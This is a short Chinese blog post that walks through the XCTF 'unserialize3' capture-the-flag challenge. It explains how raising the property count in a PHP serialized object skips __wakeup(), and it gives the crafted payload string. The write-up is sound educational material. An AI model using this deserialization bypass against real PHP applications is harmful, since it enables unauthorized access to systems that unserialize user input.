反序列化中__wakeup()函数漏洞

__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
在XCTF攻防世界的一道题unserialize3,源码如下。

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}//这里差个反括号,但是源码确实是这样的。
?code=

将上面的要求序列化后为O:4:"xctf":1:{s:4:"flag";s:3:"111";},xctf后有一个数字1,这个1是代表这个类有一个属性。__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
如,我们提交O:4:"xctf":2:{s:4:"flag";s:3:"111";},将其改为2,得到flag。

给一个在线序列化的网址。
https://www.w3cschool.cn/tryrun/showphp/demo_func_string_serialize

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 介绍序列化和反序列化 序列化和反序列化:大型网站中类创建的对象多的时候会占用大量空间,序列化就是将...
    草莓养殖户阅读 2,317评论 0 0
  • php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险。为了理解这个漏洞,请读者具备基...
    BerL1n阅读 3,678评论 0 2
  • 介绍 serialize() ---> 函数用于序列化对象或数组,并返回一个字符串。如下: 输出结果a:3:{i...
    ESE_阅读 7,761评论 0 3
  • 0x01 概述 什么是php反序列化漏洞呢?简单的来说,就是在php反序列化的时候,反序列化的内容是用户可控,那么...
    Pino_HD阅读 4,645评论 4 8
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 6,262评论 0 10

友情链接更多精彩内容